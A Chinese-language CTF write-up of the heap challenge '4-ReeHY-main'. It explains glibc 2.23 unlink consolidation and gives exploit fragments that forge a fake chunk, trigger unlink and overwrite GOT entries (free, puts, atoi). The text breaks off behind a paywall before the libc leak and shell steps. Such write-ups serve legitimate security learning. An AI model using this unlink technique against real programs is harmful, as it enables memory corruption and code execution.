例题:攻防世界 4-ReeHY-main
当一个chunk释放为unsort bin时会检查上下是否为free chunk,如果上为free chunk则发生合并、合并后会调用unlink函数:(2.23)
/* consolidate backward */
if (!prev_inuse(p)) { //当前的p标志位为0(上个chunk free)
prevsize = p->prev_size;
size += prevsize; //本chunk的size + 上个chunk的size 实现大小合并
p = chunk_at_offset(p, -((long) prevsize));//移动chunk指针至上个chunk的位置、实现合并指针操作、那么当前chunk将消失作为上个chunk的一部分
unlink(av, p, bck, fwd);
}
#define unlink(AV, P, BK, FD) {
FD = P->fd; //下一个chunk指针 = fd 0x6020c8
BK = P->bk; //上一个chunk指针 = bk 0x6020d0
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))//如果下一个chunk的bk不是我|上一个的fd不是我 则报错
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK; //下一个chunk->bk = BK(本来是指P)
BK->fd = FD; //上一个chunk->fd = FD(本来是指p)这个操作原来是用于将p这个chunk从unsort bin中拿出去,但是这个操作可以用来给我们写入数据,这里就是将
//重点是BK->fd = FD这句它将BK->fd 也就是0x6020e0 = FD(0x6020c8)
//成功将它指向了它上面0x18的地址处,这时如果0x6020c8可以写入数据,那么写入数据后就可以进行覆盖原来的ptr了
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
//.....larg chunk操作....
}
}
关键函数:
init_malloc
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wMkOqVzG-1639110769877)(unlink利用.assets/image-20211206190420216.png)]](https://i-blog.csdnimg.cn/blog_migrate/ff70f11351fa4315b067c0b66a8174f7.png)
add
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uEoLIyqO-1639110769879)(unlink利用.assets/image-20211206191217348.png)]](https://i-blog.csdnimg.cn/blog_migrate/65e0f4e0da36de9006f819df3c709b70.png)
del
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hMFtpoZd-1639110769881)(unlink利用.assets/image-20211206191657550.png)]](https://i-blog.csdnimg.cn/blog_migrate/518f506dbf14988586306dfc67e4617d.png)
edit
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7sMuwDpZ-1639110769883)(unlink利用.assets/image-20211206191723581.png)]](https://i-blog.csdnimg.cn/blog_migrate/a0acee5e186828412285c1ce8b3d7133.png)
那么知道漏洞后就梳理利用思路
- 没有后门函数、需要泄漏libc
- 没有程序控制流函数,需要修改got表
这题不讲原理,我也是第一次接触unlink边学边练原题目链接:https://blog.youkuaiyun.com/seaaseesa/article/details/102907138
做题思路如下:
- 首先申请2个small chunk,因为当一个非fast bin释放时会检查前后的堆块,如果是free chunk则将那个free chunk从bins里面取出来,然后把自己合并进去拿出来的free chunk再放入unsort bin
- 然后再申请一个随便大小chunk,为了防止合并进top chunk(我为了看效果,也可不申请)
#start
sla('$','admin')
add(0x100,0,'A'*(0x100-1)) #填满数据以便观察chunk空间
add(0x100,1,'B'*(0x100-1))
add(0x10,2,'C'*(0x10-1)) #防止合并后被放入top chunk(不写也没事)
#raw('初始化两个chunk 以便以后对它进行操作')
- 正常来说free(chunk0)就是free如图1:但是因为在add函数中ptr_array中存储单位是QWORD如图2:从图1中可以看出来ptr_array_size距离chunk0有0x10大小,那么刚好就是2个单位,这时free(chunk0 - 2)就可以释放ptr_array_size,加上uaf的漏洞,可以修改它的大小进行实现堆溢出,那么就满足了unlink的前提条件
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WeCh9Rzx-1639110769888)(unlink利用.assets/image-20211206210210296.png)]](https://i-blog.csdnimg.cn/blog_migrate/99bf05cbde49c651664c318f65825a24.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4SSREELH-1639110769889)(unlink利用.assets/image-20211206210334768.png)]](https://i-blog.csdnimg.cn/blog_migrate/7b2b15bbd2a421726bf7cf41690868b7.png)
dele(-2)
payload = p32(0x100 + 0x8 + 0x1)# 给下面堆溢出到下个chunk的头部创造空间、这里就可以刚刚溢出到下个chunk的 pret_size + p标志位
add(0x10,'3',payload)
- 构造fake chunk 如下,那么现在伪造的fake chunk就在chunk0的user data部分,如下:
target = 0x6020E0 #伪造的chunk
fake = p64(0) + p64(0x101) #prve_size + size(p = 1)
fake += p64(target-0x18) + p64(target-0x10) #ptr[0]会指向fd的地址处
fake += 'a' *(0x100 - (4 * 0x8))#填充空间
fake += p64(0x100) + '0' #这里是溢出到了chunk1部分,prve_size=0x100表示上一个chunk大小只有0x100(原来有0x110因为我们写入的数据是从user data部分开始的)p=0 表示上个chunk free
edit(0,fake) #将fake chunk放入chunk0
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NyMDstcj-1639110769891)(unlink利用.assets/image-20211206212258387.png)]](https://i-blog.csdnimg.cn/blog_migrate/379961aaccc1d5c2266c1327ca34997b.png)
- 调用dele(1)这时free chunk1时发现前一个chunk0也是free状态那么就会发生合并,从而触发unlink进行赋值,unlink前的目标地址如图1,unlink后如图2。到这里就成功的将chunk0的位置处指向了我们想要指向的地址
dele(1)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WVhs0HUw-1639110769892)(unlink利用.assets/image-20211206212618914.png)]](https://i-blog.csdnimg.cn/blog_migrate/ab4154063429164d49862ef5dbfa439c.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rUIHzDP7-1639110769895)(unlink利用.assets/image-20211206212640499.png)]](https://i-blog.csdnimg.cn/blog_migrate/b111a8777757174d79569937243b0916.png)
- 好,那么现在我们编辑chunk0那就是编辑0x6020c8,因为0x6020c8距离0x6020e0就是0x18的距离,那么因为我们写入数据过长就可以溢出到后门的地址了,从而实现覆写地址
fake = p64(0)
fake += p64(0) + p64(0)
fake += p64(free_got) + p64(1) #这里就填充到了0x6020e0 ,p64(1)表示这块内存在使用状态,只有是使用状态才可以编辑它,后门才可以修改got值
fake += p64(puts_got) + p64(1)
fake += p64(atoi_got)

该博客详细介绍了如何利用攻防世界4-ReeHY-main中的堆溢出和unlink漏洞来实现内存操纵。通过申请和释放chunk,构造fakechunk,并修改got表,最终达到泄漏libc地址并获取shell的目的。文章还提到了栈溢出的另一种攻击方式,展示了两种不同思路下的exploit实现。
最低0.47元/天 解锁文章
496

被折叠的 条评论
为什么被折叠?



